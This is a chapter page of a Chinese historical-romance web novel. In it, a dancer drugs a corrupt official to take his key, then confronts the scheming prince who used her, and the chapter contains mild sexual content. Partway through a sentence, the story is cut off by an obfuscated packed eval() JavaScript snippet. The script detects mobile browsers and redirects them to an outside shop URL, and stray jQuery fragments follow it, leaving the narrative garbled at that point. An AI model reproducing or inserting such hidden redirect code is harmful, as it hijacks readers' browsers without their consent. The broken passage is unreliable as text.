默认冷灰
24号文字
方正启体

10. 第 10 章

作者:木子非晚本书字数:K更新时间:
    转过廊角,廖云心余光扫到后院那抹月白身影,他的手指绕着玉带上挂的钥匙,时刻提醒她,莫忘了今夜的任务。


    应执和唐忠玉本意安排在苏州府宴饮,如此他们可提前布局,但王奎元执意留在扬州自家宅院,连绫玉阁都是他亲自点的。


    廖云心和雪蕊架着王奎元回屋,两位守在门口的家丁打开屋门,视线速速扫了一眼,因着王奎元喃喃催促,并未搜她们二人的身。


    两人合力把他扶到床边,王奎元扯掉身上的腹围,廖云心慌得错开视线,他揽过雪蕊一亲芳泽,瞥见仍站在一侧的廖云心,吩咐:“站那作甚,你来给本官宽衣。”


    廖云心指尖搭在腰侧上,两指夹出藏在其中的药包,攥于掌中,慢慢向他走近。


    她单手搭在他的衣襟上,另一只手背在身后,指尖翻动,快速打开药粉包,在王奎元的手抚上她背脊的一瞬,屏气将迷药洒在他脸上,另向后推了雪蕊一把,避免让她误吸。


    王奎元刚欲开口呼救,身子登时软在床榻边。


    雪蕊挥挥衣袖,散去眼前的浮尘时,见王奎元人已经晕了,虽说今夜有旁人在场,他不至于玩得太狠,但见他彻底昏过去了,雪蕊仍松了一口气。


    廖云心将食指抵在唇边,隔着屏风望向门外的家丁,见他们未发现异常,低声道:“我...我不愿服侍他,只能出次下策。”


    雪蕊忙上前搭把手,一齐将他抬到床上:“今晚还得多谢你了,整个绫玉阁旧人,无人愿意侍奉他,借你的福,我也逃过一劫。”


    说罢,她抬手为他宽衣,廖云心一脸不敢置信地挡住自己的眼。


    雪蕊浅笑,这小丫头到底阅历浅,既是作戏岂不得做全了,万一明日他起床时,衣衫不解,不白白引人怀疑,她声如蚊呐:“我不知你们潜入王奎元身边有何图谋,但还请莫牵扯到绫玉阁的姑娘们,我们只图个温饱,得罪不起这些达官显贵。”


    廖云心自不会把应执的计谋全盘托出,庆幸雪蕊是个聪明人,不多事不多问,她探手摸上王奎元的腰际,将钥匙解下,背身藏于怀中。


    廖云心瞧着她手臂上的纱布,感慨今夜多她相助,否则不会如此顺利,内疚涌上心头:“抱歉,是我连累你受伤...”


    雪蕊浅笑:“这个?我还得多谢你不计前嫌,予我解药,如此好的药膏,可省我不少银钱,”见她面露疑惑,雪蕊笑道,“鸨母向来严苛,自不会将这么好的药白赠于我,除了你,我想不到旁人了。那日,是我出言不逊在先,是我狭隘了,在这困了一辈子,眼界心胸倒都小了。”


    廖云心只连连摇头,两人怕隔墙有耳,不敢多言。


    雪蕊给王奎元褪尽衣服后,又自顾自地解下衣带,廖云心靠着床榻坐着,不敢再多看一眼。


    应执本和她定好,过一个时辰之后,命人接应她来取钥匙,只需印个模子,再把钥匙归还,若王奎元夜半醒来也不会发觉有异。


    可王奎元强硬坚持在自己私宅宴客,兰琴躲过家丁摸过来花费了不少功夫。


    等到她眼皮渐沉才听得屋外窸窸窣窣的动静,她悄悄打开后窗,认清是兰琴后,将钥匙递给他,几息功夫后,钥匙又递回到她手中。


    她抓住兰琴的手臂:“带我走,我任务完成,带我去见应执。”


    兰琴怕再生事端,只得帮她从窗户中翻出。


    雪蕊心思通透,今夜见那公子高坐主位,便知他身份不俗。


    她披着外衫帮廖云心轻轻抬起窗户,柔声说:“求求你们,八年前王奎元犯了一桩命案,还请你们为已故的春桃正名,她尸骨未寒,我愿作证。”


    廖云心点头应下,不便久留,随兰琴消失于黑夜中。


    他们三人所住厢房安排甚远,方才已陆续送来了几个姑娘,都被应执挑肥拣瘦地退下了。


    这一路在兰琴的掩护下,莫名顺利,她甚至可堂而皇之地重回院中,大大方方随他回到应执所在厢房。


    廖云心紧随其后,一股冷意却油然而生,思及应执手下兰琴兰书武功不凡,皇子身后暗卫更会以死相护,若他意在夺取王奎元贴身之物,抢取于他们而言不算难事,直接打晕了绑起来就是,怎的非要借她的手,绕这么一圈。


    她历经一世才知应执为人,那远在京城的尚书大人又岂会不知,背脊冷汗涔涔,她不禁失笑。


    是啊,当今宋元帝三子,龙章凤姿的晋王爷,若他真表里如一,只怕多少名门贵女会主动议亲,又岂会让工部尚书费劲周折,寻回十多年未见的她。


    前世她只知她嫡姐有婚约在身,皇命不可违,可细思其中关窍,只怕自她被接回京城的那一刻起,她就逃脱不了嫁给应执的命运。


    他此番借她谋事,败了,自会拿她献祭,一区区婢子性命全了他不学无术的假象,若成了,也无人知晓有她在其中助力,只会更坐实他外派名义为公,实则厮混的伪装。


    分明他心思缜密,却非要佯装,原是现在就在布局了,以假寐错过猛虎的注意,再给其致命一击。


    表面上是不学无术的王爷,实则早有图谋不轨之心。


    幸好,幸好她醒悟得及时,既然任务完成,以后桥归桥,路归路,他的前程命数自不必由她忧心。


    廖云心垂首跟在兰琴身后,家丁经数次后,已不再细瞧,匆匆打开门,让她入内。


    屋内呛人的酒气令她不觉屏住呼吸,兰琴向屏风后的应执回禀完,只听得他淡淡一声:“过来。”


    应执单手支颐,半卧于美人榻前。


    方才他刚打开屋门,就闻到已燃尽的催情香,他屏气已是不及,他平生最恨用毒用药这等腌臜手段。


    心道王奎元真是纵欲过度,酒中下药,熏香催情,不知是否垂垂老矣,只得借外物助势。


    他强撑着热意,命兰琴速速去铁铺打钥匙,务必今晚收网,身上这点药香忍忍便是。


    窗户半敞开,廖云心身上却热得厉害,她细瞧屋内没燃着炉子,沉了沉气。


    听得应执的声音,她一时恍然。


    她在京中见过不少风流子弟,往往面相清俊英朗,可声音一出却如三岁孩童,或声线低沉悦耳,其貌不扬。


    如此像应执这般清润嗓音,沾了酒气自带三分涩七分哑,缓缓缠上来,倒撩拨得她耳根发痒,面颊滚烫。


    她鬼使神差般绕过屏风,见应执微敞领口,半卧于其上,皮相骨相皆是一流,他眼中慵懒倦意,实则手背上青筋虬起,刚压下的□□,又被一股由她携来的浅香撩起。


    寒夜凉薄,他的眉峰和眼睫仿佛染了一层寒霜,眼中映着融融暖色,她竟顺着他脖颈上的经脉多瞧了一眼,她狠狠拧了自己一把。


    那酒中定是有药,她绝


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450336|201170||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不会对应执有非分之想!


    意识到这点,她用力掐着掌心,维持镇静,站在一侧不动:“任务完成了,放我离开这里。”


    应执抬眸,她如此轻易得手超出他的预计:“你做的很好,你既不想回长乔里,若你听命于我,别的不论,这一世可护你荣华富贵,衣食无忧。”


    “不必,”他话音未落,她出言打断,“公子是成大事者,我只是一介白丁,无才无谋,难堪重任。”


    他许的前程未来太渺远,前世她只窥见一角,都已送了性命,这一世她不愿再作世家女,只求能平淡安稳,一生无虞。


    应执默然,她身上的甜香味太重,打着旋往他每一个毛孔中钻入,他越克制压抑,那味道逼得越厉害,他拿起桌上的酒壶,在身边扬了一圈。


    廖云心见他无话,提醒道:“公子,你私下签的元契,还请还我。”


    她只知若是贱籍从良还需经官府审核,这凭证还在应执手中。


    应执听罢,从怀中掏出元契,置于桌面:“你当真不再考虑考虑?”


    他想不通,不论品行,才学、家世、相貌,在大明,他甚至不输他的兄长,于一个南方乡野女子而言,她怎会如此坚决拒绝。


    就是他假借的吏部尚书之子的身份,到了扬州、苏州府,这些知府也得卖他一个面子,怎的偏生被这丫头瞧不上。


    廖云心恭敬地还他一礼:“谢公子成全。”


    只是顺手递给她的方便之举,但应执恶劣地压元契于一侧的案几:“怎的,倒是好大的架子,还得让爷给你送过去?”


    她长吸一气,忍住!总归最后一面,不必和他置气。


    脑中翻涌的怒气和体内的热气相冲,任由他皮相再好,亦改变不了骨血中的顽劣。


    她慢慢走近,伸出双手:“请公子高抬贵手。”


    她靠得愈近,应执愈被恍惚的思绪搅得烦躁。


    啪——


    他将手拍在元契上,从桌上拾起,拎在她眼前:“可看清楚了,是你的那份?”


    廖云心虽没签过,可其上确实是她的名字,她伸手去拿,指尖触及的一瞬,应执收回手,她居高,他半卧,一下抓空,她扑向一侧,膝盖磕到地上,一声沉重又扎实的闷响。


    嘶---她吸了一口凉气,支着腿从地上缓缓起身:“戏耍人很有意思?!”


    这一撞彻底将她疼清醒了,她知他心有大业,不惜利用身边的一切。


    前世种种,她本着最大的让步和善意,不想牵扯给这一世的他。


    但他却屡次三番欺人太甚。


    应执垂眸,见她双膝上斑斑红痕,屈了屈指节,随手将元契放于身侧,从美人榻上坐起,握住她的膝窝:“受伤了?”


    廖云心俯身去推他的手,虽然她是献艺的舞姬,但他们二人皆知这只是障眼法罢。


    男女授受不亲。


    廖云心往后退,环在她膝后的手如铁板一般,阻她去路,结结实实,她实在乏了,不想同他多纠缠,冷声道:“不用你管,你放了我,自有郎中处理。”


    应执闻声抬眸,她半弯着腰,软纱垂落于地,如此角度,正将她身前的春色揽尽。


    浓重的甜香扑了他满面。


    他凝着她身前如玉如雪的软肉,呼吸渐重,黑瞳中暗涌波澜,贴着她腿弯的双手暗暗发力。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)